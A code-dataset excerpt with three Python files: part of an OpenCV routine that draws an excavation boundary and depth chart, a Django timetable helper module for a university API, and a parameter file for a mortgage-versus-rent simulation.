gl.get_value(\"_4g_data_dict\")\n\t\tmy_lock.pMain_win_main_lock.release()\n\n\t\tif _4g_data_dict:\n\t\t\tsx_list = _4g_data_dict[\"g_start_x_list\"]  # 所有中线x坐标\n\t\t\tsy_list = _4g_data_dict[\"g_start_y_list\"]\n\t\t\ts_height = _4g_data_dict[\"g_start_h_list\"]\n\t\t\ts_width = _4g_data_dict[\"g_start_w_list\"]\n\t\t\tex_list = _4g_data_dict[\"g_end_x_list\"]\n\t\t\tey_list = _4g_data_dict[\"g_end_y_list\"]\n\t\t\te_height = _4g_data_dict[\"g_end_h_list\"]\n\t\t\te_width = _4g_data_dict[\"g_end_w_list\"]\n\n\t\t\timgLft[::] = 255  # 画布颜色\n\t\t\timgRit[::] = 255  # 画布颜色\n\t\t\tcurrentPoint = [current_o_x, current_o_y]\n\n\t\t\tcurrentPoint_move = [None, None]\n\t\t\tcurrentPoint_zoom = [None, None]\n\t\t\tlast_lines = [None, None]  # 保存上一条直线\n\n\t\t\tsx_list2 = []\n\t\t\tsy_list2 = []\n\t\t\tex_list2 = []\n\t\t\tey_list2 = []\n\n\t\t\tsave_line_point_sx_l_list = []\n\t\t\tsave_line_point_ex_l_list = []\n\t\t\tsave_line_point_sx_r_list = []\n\t\t\tsave_line_point_ex_r_list = []\n\t\t\tsave_line_point_sy_l_list = []\n\t\t\tsave_line_point_ey_l_list = []\n\t\t\tsave_line_point_sy_r_list = []\n\t\t\tsave_line_point_ey_r_list = []\n\n\t\t\tsave_intersection_xl = []\n\t\t\tsave_intersection_xr = []\n\t\t\tsave_intersection_yl = []\n\t\t\tsave_intersection_yr = []\n\n\t\t\t\"\"\"求出所有点\"\"\"\n\t\t\tfor i in range(len(sx_list)):\n\t\t\t\tline_point_s = np.array([sx_list[i], sy_list[i]])\n\t\t\t\tline_point_e = np.array([ex_list[i], ey_list[i]])\n\n\t\t\t\tmedian_k = (line_point_s[1] - line_point_e[1]) / (line_point_s[0] - line_point_e[0])\n\t\t\t\tmedian_b = line_point_s[1] - median_k * line_point_s[0]\n\t\t\t\t# median_G = np.array([-median_k, 1])\n\t\t\t\tmedian_G = np.array([-(line_point_e[1] - line_point_s[1]), (line_point_e[0] - line_point_s[0])])\n\n\t\t\t\t# 平移出四个点\n\t\t\t\tline_point_s_l = line_point_s + s_width[i] * median_G / cv.norm(median_G)\n\t\t\t\tline_point_s_r = line_point_s - s_width[i] * median_G / cv.norm(median_G)\n\t\t\t\tline_point_e_l = line_point_e + e_width[i] * median_G / cv.norm(median_G)\n\t\t\t\tline_point_e_r = line_point_e - e_width[i] * median_G / cv.norm(median_G)\n\n\t\t\t\t# 求平移出的直线方程\n\t\t\t\tkl = (line_point_s_l[1] - line_point_e_l[1]) / (line_point_s_l[0] - line_point_e_l[0])\n\t\t\t\tbl = line_point_s_l[1] - (kl * line_point_s_l[0])\n\t\t\t\tkr = (line_point_s_r[1] - line_point_e_r[1]) / (line_point_s_r[0] - line_point_e_r[0])\n\t\t\t\tbr = line_point_s_r[1] - (kr * line_point_s_r[0])\n\n\t\t\t\t# 两直线交点\n\t\t\t\tif i > 0:\n\t\t\t\t\tbefore_line_point_e_l, before_kl, before_bl = last_lines[0]\n\t\t\t\t\tbefore_line_point_e_r, before_kr, before_br = last_lines[1]\n\n\t\t\t\t\txl = (bl - before_bl) / (before_kl - kl)\n\t\t\t\t\tyl = kl * xl + bl\n\t\t\t\t\txr = (br - before_br) / (before_kr - kr)\n\t\t\t\t\tyr = kr * xr + br\n\n\t\t\t\t\t# 保存交点坐标\n\t\t\t\t\tsave_intersection_xl.append(xl)\n\t\t\t\t\tsave_intersection_yl.append(yl)\n\t\t\t\t\tsave_intersection_xr.append(xr)\n\t\t\t\t\tsave_intersection_yr.append(yr)\n\n\t\t\t\t# 保存本边界的斜率和终点\n\t\t\t\tlast_lines[0] = (tuple(line_point_e_l), kl, bl)\n\t\t\t\tlast_lines[1] = (tuple(line_point_e_r), kr, br)\n\t\t\t\t# 保存平移出的4个点坐标\n\t\t\t\tsave_line_point_sx_l_list.append(line_point_s_l[0])\n\t\t\t\tsave_line_point_sx_r_list.append(line_point_s_r[0])\n\t\t\t\tsave_line_point_ex_l_list.append(line_point_e_l[0])\n\t\t\t\tsave_line_point_ex_r_list.append(line_point_e_r[0])\n\n\t\t\t\tsave_line_point_sy_l_list.append(line_point_s_l[1])\n\t\t\t\tsave_line_point_sy_r_list.append(line_point_s_r[1])\n\t\t\t\tsave_line_point_ey_l_list.append(line_point_e_l[1])\n\t\t\t\tsave_line_point_ey_r_list.append(line_point_e_r[1])\n\n\t\t\t# 所有点 = 中线坐标 + 平移出的坐标 + 交点坐标\n\t\t\tx_list = (sx_list + ex_list) + (\n\t\t\t\t\t\tsave_line_point_sx_l_list + save_line_point_sx_r_list + save_line_point_ex_l_list + save_line_point_ex_r_list) + (\n\t\t\t\t\t\t         save_intersection_xl + save_intersection_xr)\n\t\t\tx_list.append(currentPoint[0])\n\n\t\t\ty_list = (sy_list + ey_list) + (\n\t\t\t\t\t\tsave_line_point_sy_l_list + save_line_point_sy_r_list + save_line_point_ey_l_list + save_line_point_ey_r_list) + (\n\t\t\t\t\t\t         save_intersection_yl + save_intersection_yr)\n\t\t\ty_list.append(currentPoint[1])\n\n\t\t\t# 平移所有点\n\t\t\tx_min = min(x_list)\n\t\t\ty_min = min(y_list)\n\t\t\tx_max = max(x_list)\n\t\t\ty_max = max(y_list)\n\n\t\t\tcurrentPoint_move[0] = currentPoint[0] - x_min\n\t\t\tcurrentPoint_move[1] = currentPoint[1] - y_min\n\n\t\t\tx_list[:] = [v - x_min for v in x_list]\n\t\t\ty_list[:] = [v - y_min for v in y_list]\n\n\t\t\tsx_list2[:] = [v - x_min for v in sx_list]  # 中线坐标\n\t\t\tsy_list2[:] = [v - y_min for v in sy_list]\n\n\t\t\tex_list2[:] = [v - x_min for v in ex_list]\n\t\t\tey_list2[:] = [v - y_min for v in ey_list]\n\n\t\t\tsave_line_point_sx_l_list[:] = [v - x_min for v in save_line_point_sx_l_list]\n\t\t\tsave_line_point_sy_l_list[:] = [v - y_min for v in save_line_point_sy_l_list]\n\n\t\t\tsave_line_point_sx_r_list[:] = [v - x_min for v in save_line_point_sx_r_list]\n\t\t\tsave_line_point_sy_r_list[:] = [v - y_min for v in save_line_point_sy_r_list]\n\n\t\t\tsave_line_point_ex_l_list[:] = [v - x_min for v in save_line_point_ex_l_list]\n\t\t\tsave_line_point_ey_l_list[:] = [v - y_min for v in save_line_point_ey_l_list]\n\n\t\t\tsave_line_point_ex_r_list[:] = [v - x_min for v in save_line_point_ex_r_list]\n\t\t\tsave_line_point_ey_r_list[:] = [v - y_min for v in save_line_point_ey_r_list]\n\n\t\t\tsave_intersection_xl[:] = [v - x_min for v in save_intersection_xl]\n\t\t\tsave_intersection_yl[:] = [v - y_min for v in save_intersection_yl]\n\n\t\t\tsave_intersection_xr[:] = [v - x_min for v in save_intersection_xr]\n\t\t\tsave_intersection_yr[:] = [v - y_min for v in save_intersection_yr]\n\n\t\t\t# 构造平移后边界点\n\t\t\tborderPt_xl = save_intersection_xl.copy()  # 用于保存平移后挖掘边界区域的点\n\t\t\tborderPt_xr = save_intersection_xr.copy()\n\t\t\tborderPt_yl = save_intersection_yl.copy()\n\t\t\tborderPt_yr = save_intersection_yr.copy()\n\n\t\t\t# 将首尾的边界点加入\n\t\t\tborderPt_xl.insert(0, save_line_point_sx_l_list[0])\n\t\t\tborderPt_xl.append(save_line_point_ex_l_list[-1])\n\n\t\t\tborderPt_yl.insert(0, save_line_point_sy_l_list[0])\n\t\t\tborderPt_yl.append(save_line_point_ey_l_list[-1])\n\n\t\t\tborderPt_xr.insert(0, save_line_point_sx_r_list[0])\n\t\t\tborderPt_xr.append(save_line_point_sx_r_list[0])\n\n\t\t\tborderPt_yr.insert(0, save_line_point_sy_r_list[0])\n\t\t\tborderPt_yr.append(save_line_point_ey_r_list[-1])\n\n\t\t\t# 判断当前点所处的段号\n\t\t\tsegID = GetCurrentSegID(borderPt_xl, borderPt_yl,\n\t\t\t                        borderPt_xr, borderPt_yr,\n\t\t\t                        currentPoint_move[0], currentPoint_move[1],\n\t\t\t                        sx_list2, ey_list2\n\t\t\t                        )\n\t\t\t# print(\"IDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDIDID:%d\\n\" % segID)\n\n\t\t\t\"\"\" 当前点高度计算 \"\"\"\n\t\t\tcPtStdH = ExtendHitWid(currentPoint,\n\t\t\t                       [sx_list[segID], sy_list[segID], s_height[segID]],\n\t\t\t                       [ex_list[segID], ey_list[segID], e_height[segID]]\n\t\t\t                       )\n\t\t\t# print(\"//////////////////////////////////////////////////////////cPtStdH:%f\" % cPtStdH)\n\n\t\t\t\"\"\" 当前点宽度计算 \"\"\"\n\t\t\tcPtStdW = ExtendHitWid(currentPoint,\n\t\t\t                       [sx_list[segID], sy_list[segID], s_width[segID]],\n\t\t\t                       [ex_list[segID], ey_list[segID], e_width[segID]]\n\t\t\t                       )\n\t\t\t# print(\"//*/*/*/*/*/*/*/*/*/**/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*cPtStdW:%f\" % cPtStdW)\n\n\t\t\t\"\"\" 计算到中线距离 \"\"\"\n\t\t\ttestDist = CalDist(currentPoint_move[0], currentPoint_move[1],\n\t\t\t                   sx_list2[segID], sy_list2[segID],\n\t\t\t                   ex_list2[segID], ey_list2[segID])\n\n\t\t\t# 找xy的最大差值\n\t\t\tx_delta_max = x_max - x_min\n\t\t\ty_delta_max = y_max - y_min\n\n\t\t\t# 缩放因子\n\t\t\t# global zoom_x, zoom_y\n\t\t\tzoom_x = ((w - 30) / x_delta_max)\n\t\t\tzoom_y = ((h - 30) / y_delta_max)\n\n\t\t\t# 所有点乘以系数\n\t\t\tcurrentPoint_zoom[0] = currentPoint_move[0] * zoom_x + delta\n\t\t\tcurrentPoint_zoom[1] = currentPoint_move[1] * zoom_y + delta\n\n\t\t\tx_list[:] = [v * zoom_x + delta for v in x_list]\n\t\t\ty_list[:] = [v * zoom_y + delta for v in y_list]\n\n\t\t\tsx_list2[:] = [v * zoom_x + delta for v in sx_list2]\n\t\t\tsy_list2[:] = [v * zoom_y + delta for v in sy_list2]\n\n\t\t\tex_list2[:] = [v * zoom_x + delta for v in ex_list2]\n\t\t\tey_list2[:] = [v * zoom_y + delta for v in ey_list2]\n\n\t\t\tsave_line_point_sx_l_list[:] = [v * zoom_x + delta for v in save_line_point_sx_l_list]\n\t\t\tsave_line_point_sy_l_list[:] = [v * zoom_y + delta for v in save_line_point_sy_l_list]\n\n\t\t\tsave_line_point_ex_l_list[:] = [v * zoom_x + delta for v in save_line_point_ex_l_list]\n\t\t\tsave_line_point_ey_l_list[:] = [v * zoom_y + delta for v in save_line_point_ey_l_list]\n\n\t\t\tsave_line_point_sx_r_list[:] = [v * zoom_x + delta for v in save_line_point_sx_r_list]\n\t\t\tsave_line_point_sy_r_list[:] = [v * zoom_y + delta for v in save_line_point_sy_r_list]\n\n\t\t\tsave_line_point_ex_r_list[:] = [v * zoom_x + delta for v in save_line_point_ex_r_list]\n\t\t\tsave_line_point_ey_r_list[:] = [v * zoom_y + delta for v in save_line_point_ey_r_list]\n\n\t\t\tsave_intersection_xl[:] = [v * zoom_x + delta for v in save_intersection_xl]\n\t\t\tsave_intersection_yl[:] = [v * zoom_y + delta for v in save_intersection_yl]\n\n\t\t\tsave_intersection_xr[:] = [v * zoom_x + delta for v in save_intersection_xr]\n\t\t\tsave_intersection_yr[:] = [v * zoom_y + delta for v in save_intersection_yr]\n\n\t\t\t\"\"\"画线\"\"\"\n\t\t\t# 中线\n\t\t\tfor i in range(len(sx_list2)):\n\t\t\t\tcv.line(imgLft, (int(sx_list2[i]), int(sy_list2[i])), (int(ex_list2[i]), int(ey_list2[i])), (0, 255, 0),\n\t\t\t\t        1)\n\n\t\t\t# 如果交点存在\n\t\t\tif save_intersection_xl:\n\t\t\t\t# 下面偏移的线\n\t\t\t\t# 地点到第一个交点\n\t\t\t\tcv.line(imgLft,\n\t\t\t\t        (int(save_line_point_sx_l_list[0]), int(save_line_point_sy_l_list[0])),\n\t\t\t\t        (int(save_intersection_xl[0]), int(save_intersection_yl[0])),\n\t\t\t\t        (0, 0, 255),\n\t\t\t\t        2)\n\t\t\t\t# 交点之间的连线\n\t\t\t\tfor i in range(len(save_intersection_xl) - 1):\n\t\t\t\t\tcv.line(imgLft,\n\t\t\t\t\t        (int(save_intersection_xl[i]), int(save_intersection_yl[i])),\n\t\t\t\t\t        (int(save_intersection_xl[i + 1]), int(save_intersection_yl[i + 1])),\n\t\t\t\t\t        (0, 0, 255),\n\t\t\t\t\t        2)\n\t\t\t\t# 交点到最后一个端点\n\t\t\t\tcv.line(imgLft,\n\t\t\t\t        (int(save_intersection_xl[-1]), int(save_intersection_yl[-1])),\n\t\t\t\t        (int(save_line_point_ex_l_list[-1]), int(save_line_point_ey_l_list[-1])),\n\t\t\t\t        (0, 0, 255),\n\t\t\t\t        2)\n\n\t\t\t\t# 上面偏移的线\n\t\t\t\t# 地点到第一个交点\n\t\t\t\tcv.line(imgLft,\n\t\t\t\t        (int(save_line_point_sx_r_list[0]), int(save_line_point_sy_r_list[0])),\n\t\t\t\t        (int(save_intersection_xr[0]), int(save_intersection_yr[0])),\n\t\t\t\t        (0, 0, 255),\n\t\t\t\t        2)\n\t\t\t\t# 交点之间的连线\n\t\t\t\tfor i in range(len(save_intersection_xr) - 1):\n\t\t\t\t\tcv.line(imgLft,\n\t\t\t\t\t        (int(save_intersection_xr[i]), int(save_intersection_yr[i])),\n\t\t\t\t\t        (int(save_intersection_xr[i + 1]), int(save_intersection_yr[i + 1])),\n\t\t\t\t\t        (0, 0, 255),\n\t\t\t\t\t        2)\n\t\t\t\t# 交点到最后一个端点\n\t\t\t\tcv.line(imgLft,\n\t\t\t\t        (int(save_intersection_xr[-1]), int(save_intersection_yr[-1])),\n\t\t\t\t        (int(save_line_point_ex_r_list[-1]), int(save_line_point_ey_r_list[-1])),\n\t\t\t\t        (0, 0, 255),\n\t\t\t\t        2)\n\n\t\t\t# 如果交点不存在\n\t\t\tif not save_intersection_xl:\n\t\t\t\tcv.line(imgLft,\n\t\t\t\t        (int(save_line_point_sx_l_list[0]), int(save_line_point_sy_l_list[0])),\n\t\t\t\t        (int(save_line_point_ex_l_list[-1]), int(save_line_point_ey_l_list[-1])),\n\t\t\t\t        (0, 0, 255),\n\t\t\t\t        2)\n\n\t\t\t\tcv.line(imgLft,\n\t\t\t\t        (int(save_line_point_sx_r_list[0]), int(save_line_point_sy_r_list[0])),\n\t\t\t\t        (int(save_line_point_ex_r_list[-1]), int(save_line_point_ey_r_list[-1])),\n\t\t\t\t        (0, 0, 255),\n\t\t\t\t        2)\n\n\t\t\t# 闭合首\n\t\t\tcv.line(imgLft,\n\t\t\t        (int(save_line_point_sx_l_list[0]), int(save_line_point_sy_l_list[0])),\n\t\t\t        (int(save_line_point_sx_r_list[0]), int(save_line_point_sy_r_list[0])),\n\t\t\t        (0, 0, 255),\n\t\t\t        2)\n\n\t\t\t# 闭合尾\n\t\t\tcv.line(imgLft,\n\t\t\t        (int(save_line_point_ex_l_list[-1]), int(save_line_point_ey_l_list[-1])),\n\t\t\t        (int(save_line_point_ex_r_list[-1]), int(save_line_point_ey_r_list[-1])),\n\t\t\t        (0, 0, 255),\n\t\t\t        2)\n\n\t\t\tgray = cv.cvtColor(imgLft, cv.COLOR_BGR2GRAY)\n\t\t\tret, binary = cv.threshold(gray, 127, 255, cv.THRESH_BINARY)  # 转为二值图\n\t\t\tif SWITCH_DEVICE:\n\t\t\t\t_, contours, hierarchy = cv.findContours(binary, cv.RETR_TREE, cv.CHAIN_APPROX_SIMPLE)  # 笔记本\n\t\t\telse:\n\t\t\t\tcontours, hierarchy = cv.findContours(binary, cv.RETR_TREE, cv.CHAIN_APPROX_SIMPLE)    # 工控机\n\n\t\t\tcurrentPoint_zoom = (\n\t\t\t\tint(currentPoint_zoom[0]),\n\t\t\t\tint(currentPoint_zoom[1])\n\t\t\t)\n\n\t\t\tcv.circle(imgLft, currentPoint_zoom, 4, [255, 0, 0], -1)\n\n\t\t\tdist = cv.pointPolygonTest(contours[1], currentPoint_zoom, False)\n\t\t\t# print(\"dist:\", dist)\n\n\t\t\timgLft = imgLft[::-1, :, :].copy()\n\n\t\t\t# 打印到线距离\n\t\t\ttext = str(round(cPtStdW - testDist, 3))\n\t\t\tif dist == -1:\n\t\t\t\tcv.putText(imgLft, text, (10, 30), cv.FONT_HERSHEY_PLAIN, 2.5, (0, 0, 255), 2)\n\t\t\telse:\n\t\t\t\tcv.putText(imgLft, text, (10, 30), cv.FONT_HERSHEY_PLAIN, 2.5, (0, 255, 0), 2)\n\n\t\t\t# 维护右边图像\n\t\t\tshowDeep = current_o_h - cPtStdH\n\t\t\tdeep.append(showDeep)\n\t\t\tif len(deep) > barNum:\n\t\t\t\tdeep.pop(0)\n\n\t\t\tabsDeep[:] = [abs(v) for v in deep]\n\t\t\tmaxAbs = max(absDeep)\n\t\t\tzoomFct = 0.4 * h / maxAbs\n\t\t\tzoomDeep[:] = [int(v * zoomFct + h / 2) for v in deep]\n\n\t\t\t# 画柱状图\n\t\t\tfor i in range(len(deep)):\n\t\t\t\tif zoomDeep[i] < h / 2:\n\t\t\t\t\tcv.line(imgRit, (int(i * (w / barNum)) + xBais, int(h / 2)),\n\t\t\t\t\t        (int(i * (w / barNum) + xBais), int(zoomDeep[i])),\n\t\t\t\t\t        (0, 0, 255), 10)\n\t\t\t\telse:\n\t\t\t\t\tcv.line(imgRit, (int(i * (w / barNum)) + xBais, int(h / 2)),\n\t\t\t\t\t        (int(i * (w / barNum) + xBais), int(zoomDeep[i])),\n\t\t\t\t\t        (0, 255, 0), 10)\n\n\t\t\t# 画零线\n\t\t\tcv.line(imgRit, (0, int(h / 2)), (w, int(h / 2)), (0, 0, 0), 10)\n\n\t\t\timgRit = imgRit[::-1, :, :].copy()  # 图像上下翻转\n\n\t\t\t# 显示柱体高度\n\t\t\tfor i in range(len(deep)):\n\t\t\t\ttext = str(round(deep[i], 2))\n\t\t\t\tcv.putText(imgRit, text, (int(i * (w / barNum)) + xBais, h - int(zoomDeep[i]) + 5),\n\t\t\t\t           cv.FONT_HERSHEY_PLAIN,\n\t\t\t\t           1.5,\n\t\t\t\t           (0, 0, 0),\n\t\t\t\t           1)\n\t\t\t# 显示文字\n\t\t\ttext = str(round(showDeep, 2))\n\t\t\tif zoomDeep[-1] < h / 2:\n\t\t\t\tcv.putText(imgRit, text, (10, 30), cv.FONT_HERSHEY_PLAIN, 2.5, (0, 0, 255), 2)\n\t\t\telse:\n\t\t\t\tcv.putText(imgRit, text, (10, 30), cv.FONT_HERSHEY_PLAIN, 2.5, (0, 255, 0), 2)\n\n\t\t\tsaveImgRit = imgRit.copy()\n\t\t\tsaveImgLft = imgLft.copy()\n\t\t\tmain_win_data_valid_flg = True\n\n\t\t\tmy_lock.pMain_win_main_lock.acquire()\n\t\t\t# 保存绘制后的左窗口图\n\t\t\tgl.set_value(\"lftWinImg\", saveImgLft)\n\t\t\tgl.set_value(\"lftWinImgFlg\", True)\n\t\t\t# 保存绘制后的右窗口图\n\t\t\tgl.set_value(\"RitWinImg\", saveImgRit)\n\t\t\tgl.set_value(\"RitWinImgFlg\", True)\n\n\t\t\tgl.set_value(\"dist\", dist)\n\t\t\tgl.set_value(\"deep\", showDeep)\n\t\t\tgl.set_value(\"main_win_data_valid_flg\", main_win_data_valid_flg)\n\t\t\tmy_lock.pMain_win_main_lock.release()\n\n\t\t\tmy_lock.pMain_win_4gSend_lock.acquire()\n\t\t\tgl.set_value(\"o_w_4g\", cPtStdW)\n\t\t\tmy_lock.pMain_win_4gSend_lock.release()\n\n\t\telse:\n\t\t\tprint(\"！！！！ 维护线程--正常流程--4g字典为空 ！！！！\\n\")\n\n\t\ttime.sleep(0.01)\n\n\t# time_now = datetime.datetime.now().strftime('%H:%M:%S.%f')\n\t# print(\"222222222222222222222222222222222222222222222222222222222\", time_now)\n","sub_path":"WinMaintn.py","file_name":"WinMaintn.py","file_ext":"py","file_size_in_byte":19059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"530640079","text":"import datetime\n\nfrom django.conf import settings\n\nfrom django.core.exceptions import ObjectDoesNotExist\n\nfrom .models import Lock, StudentsA, StudentsB, \\\n    Stumodules, TimetableA, TimetableB, \\\n    WeekmapnumericA, WeekmapnumericB, \\\n    WeekstructureA, WeekstructureB, \\\n    LecturerA, LecturerB, \\\n    RoomsA, RoomsB, \\\n    SitesA, SitesB, \\\n    ModuleA, ModuleB\n\n_SETID = settings.ROOMBOOKINGS_SETID\n\n_week_map = {}\n_week_num_date_map = {}\n\n_session_type_map = {\n    \"L\": \"Lecture\",\n    \"PBL\": \"Problem Based Learning\",\n    \"P\": \"Practical\"\n}\n\n_rooms_cache = {}\n\n_module_name_cache = {}\n\n\ndef _get_cache(model_name):\n    models = {\n        \"module\": [ModuleA, ModuleB],\n        \"students\": [StudentsA, StudentsB],\n        \"timetable\": [TimetableA, TimetableB],\n        \"weekmapnumeric\": [WeekmapnumericA, WeekmapnumericB],\n        \"weekstructure\": [WeekstructureA, WeekstructureB],\n        \"lecturer\": [LecturerA, LecturerB],\n        \"rooms\": [RoomsA, RoomsB],\n        \"sites\": [SitesA, SitesB]\n    }\n    lock = Lock.objects.all()[0]\n    model = models[model_name][0] if lock.a else models[model_name][1]\n    return model\n\n\ndef _get_student_by_upi(upi):\n    print(\"Getting student by UPI: \" + upi)\n    students = _get_cache(\"students\")\n    # Assume the current Set ID due to caching\n    upi_upper = upi.upper()\n    student = students.objects.filter(\n        qtype2=upi_upper\n    )[0]\n    print(\"Got student\")\n    return student\n\n\ndef _get_student_modules(student):\n    print(\"Getting student modules for student: \" + student.qtype2)\n    raw_query = 'SELECT * FROM CMIS_OWNER.STUMODULES WHERE SETID=\\'LIVE-17-18\\' AND studentid=\\'{}\\''.format(  # NOQA\n        student.studentid\n    )\n    student_modules = list(Stumodules.objects.raw(raw_query))\n    print(\"Got student modules for student: \" + student.qtype2)\n    return student_modules\n\n\ndef _get_lecturer_details(lecturer_upi):\n    lecturers = _get_cache(\"lecturer\")\n    details = {\n        \"name\": \"unknown\",\n        \"email\": \"unknown\"\n    }\n    try:\n        lecturer = lecturers.objects.get(lecturerid=lecturer_upi)\n        details[\"name\"] = lecturer.name\n        details[\"email\"] = lecturer.linkcode + \"@ucl.ac.uk\"\n    except ObjectDoesNotExist:\n        pass\n\n    return details\n\n\ndef _get_timetable_events(student_modules):\n    print(\"Getting timetabled events\")\n    if not _week_map:\n        _map_weeks()\n\n    timetable = _get_cache(\"timetable\")\n    modules = _get_cache(\"module\")\n\n    student_timetable = {}\n    for module in student_modules:\n        print(\"Getting data for Module ID \" + module.moduleid)\n        events_data = timetable.objects.filter(\n            moduleid=module.moduleid,\n            modgrpcode=module.modgrpcode\n        )\n        for event in events_data:\n            for date in _get_real_dates(event):\n                date_str = date.strftime(\"%Y-%m-%d\")\n                event_data = {\n                    \"start_time\": event.starttime,\n                    \"end_time\": event.finishtime,\n                    \"duration\": event.duration,\n                    \"module\": {\n                        \"module_code\": event.linkcode,\n                        \"module_id\": event.moduleid,\n                        \"course_owner\": event.owner,\n                        \"lecturer\": _get_lecturer_details(event.lecturerid),\n                        \"name\": \"Unknown\"\n                    },\n                    \"location\": _get_location_details(\n                        event.siteid,\n                        event.roomid\n                    ),\n                    \"session_type\": event.moduletype,\n                    \"session_type_str\": _get_session_type_str(\n                        event.moduletype\n                    ),\n                    \"session_group\": module.modgrpcode\n                }\n\n                if event.moduleid not in _module_name_cache:\n                    try:\n                        module_data = modules.objects.get(\n                            moduleid=event.moduleid\n                        )\n                        _module_name_cache[event.moduleid] = module_data.name\n                    except ObjectDoesNotExist:\n                        _module_name_cache[event.moduleid] = \"Unknown\"\n\n                event_data[\"module\"][\"name\"] = _module_name_cache[\n                    event.moduleid\n                ]\n                if date_str not in student_timetable:\n                    student_timetable[date_str] = []\n                student_timetable[date_str].append(event_data)\n    print(\"Got timetabled events\")\n    return student_timetable\n\n\ndef _get_timetable_events_module_list(module_list):\n    if not _week_map:\n        _map_weeks()\n\n    timetable = _get_cache(\"timetable\")\n    modules = _get_cache(\"module\")\n\n    full_modules = []\n\n    for module in module_list:\n        try:\n            full_modules.append(modules.objects.get(moduleid=module))\n        except ObjectDoesNotExist:\n            return False\n\n    returned_timetable = {}\n    for module in full_modules:\n        events_data = timetable.objects.filter(\n            moduleid=module.moduleid\n        )\n        print(\"Count of events data:\")\n        print(events_data.count())\n        for event in events_data:\n            print(event)\n            for date in _get_real_dates(event):\n                print(date)\n                date_str = date.strftime(\"%Y-%m-%d\")\n                event_data = {\n                    \"start_time\": event.starttime,\n                    \"end_time\": event.finishtime,\n                    \"duration\": event.duration,\n                    \"module\": {\n                        \"module_code\": event.linkcode,\n                        \"module_id\": event.moduleid,\n                        \"course_owner\": event.owner,\n                        \"lecturer\": _get_lecturer_details(event.lecturerid),\n                        \"name\": module.name\n                    },\n                    \"location\": _get_location_details(\n                        event.siteid,\n                        event.roomid\n                    ),\n                    \"session_type\": event.moduletype,\n                    \"session_type_str\": _get_session_type_str(\n                        event.moduletype\n                    ),\n                    \"session_group\": event.modgrpcode\n                }\n                if date_str not in returned_timetable:\n                    returned_timetable[date_str] = []\n                returned_timetable[date_str].append(event_data)\n    return returned_timetable\n\n\ndef _map_weeks():\n    print(\"Mapping weeks\")\n    weekmapnumeric = _get_cache(\"weekmapnumeric\")\n    weekstructure = _get_cache(\"weekstructure\")\n    week_nums = weekmapnumeric.objects.all()\n    week_strs = weekstructure.objects.all()\n\n    for week in week_strs:\n        _week_num_date_map[week.weeknumber] = week.startdate\n\n    for week in week_nums:\n        if week.weekid not in _week_map:\n            _week_map[week.weekid] = []\n        _week_map[week.weekid].append(week.weeknumber)\n    print(\"Weeks mapped successfully\")\n\n\ndef _get_real_dates(slot):\n    return [\n        _week_num_date_map[startdate] + datetime.timedelta(\n            days=slot.weekday - 1\n        )\n        for startdate in _week_map[slot.weekid]\n    ]\n\n\ndef _get_session_type_str(session_type):\n    if session_type in _session_type_map:\n        return _session_type_map[session_type]\n    else:\n        return \"Unknown\"\n\n\ndef _get_location_details(siteid, roomid):\n    if not roomid:\n        return {}\n    if not siteid:\n        return {}\n\n    cache_id = siteid + \"___\" + roomid\n    if cache_id not in _rooms_cache:\n        rooms = _get_cache(\"rooms\")\n        sites = _get_cache(\"sites\")\n        try:\n            room = rooms.objects.filter(roomid=roomid, siteid=siteid)[0]\n            site = sites.objects.filter(siteid=siteid)[0]\n        except IndexError:\n            return {}\n        _rooms_cache[cache_id] = {\n            \"name\": room.name,\n            \"capacity\": room.capacity,\n            \"type\": room.type,\n            \"address\": [\n                site.address1,\n                site.address2,\n                site.address3\n            ],\n            \"site_name\": site.sitename\n        }\n    return _rooms_cache[cache_id]\n\n\ndef get_student_timetable(upi, date_filter=None):\n    print(\"*** GETTING STUDENT TIMETABLE FOR UPI \" + upi + \" ***\")\n    student = _get_student_by_upi(upi)\n    print(\"Getting modules....\")\n    student_modules = _get_student_modules(student)\n    print(\"Getting events...\")\n    student_events = _get_timetable_events(student_modules)\n    print(\"Returning events...\")\n    if date_filter:\n        if date_filter in student_events:\n            filtered_student_events = {\n                date_filter: student_events[date_filter]\n            }\n        else:\n            filtered_student_events = {\n                date_filter: []\n            }\n        return filtered_student_events\n    return student_events\n\n\ndef get_custom_timetable(modules, date_filter=None):\n    events = _get_timetable_events_module_list(modules)\n    if events:\n        if date_filter:\n            if date_filter in events:\n                filtered_events = {\n                    date_filter: events[date_filter]\n                }\n            else:\n                filtered_events = {\n                    date_filter: []\n                }\n            return filtered_events\n        return events\n    return None\n","sub_path":"backend/uclapi/timetable/app_helpers.py","file_name":"app_helpers.py","file_ext":"py","file_size_in_byte":9340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"183699477","text":"import datetime\n\n# Purchasing\nPURCHASE_PRICE = 400000\nDOWNPAYMENT = 120000\nLOAN_AMOUNT = PURCHASE_PRICE - DOWNPAYMENT\nHOUSE_APPRECIATION = .05\nFINANCING_RATE = .07\n\n# Alternatives: 'price', 'sac'\nMORTGAGE_CHOICE = 'sac'\nSELLING_COST = .06\nCONTRACT_DATE = datetime.date(2019, 9, 17)\n\n# Borrowers' age (mutuários)\nBIRTH1 = datetime.date(1969, 9, 23)\nBIRTH2 = datetime.date(1970, 9, 1)\n\nPERC_BORROWER1 = 1\nPERC_BORROWER2 = 1 - PERC_BORROWER1\n\n# Macroeconomics\nINFLATION = .0375\nTREASURE_RETURN = .0537\n\n# Rental -- about 3.5% of home value per year\nRENT_PERCENTAGE = .0029\nRENT_RAISING_PERIOD = 12\n\n# Adjustment fees\n# If correction includes inflation, add below\nREFERENCIAL_FEE = 0\n# REFERENCIAL_FEE = INFLATION\n\nAMORTIZATION_MONTHS = 240\n\nTAX = .15\nCUSTODY_FEE = .0003\n\n# REAL\nREAL_RETURN = round((TREASURE_RETURN - INFLATION) * (1 - TAX), 6)\nREAL_HOUSE_APPRECIATION = round((HOUSE_APPRECIATION - INFLATION), 6)\n\n# To save, give data a path and a name\n# DATA = None\nDATA = 'data.csv'\n","sub_path":"conf/params.py","file_name":"params.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
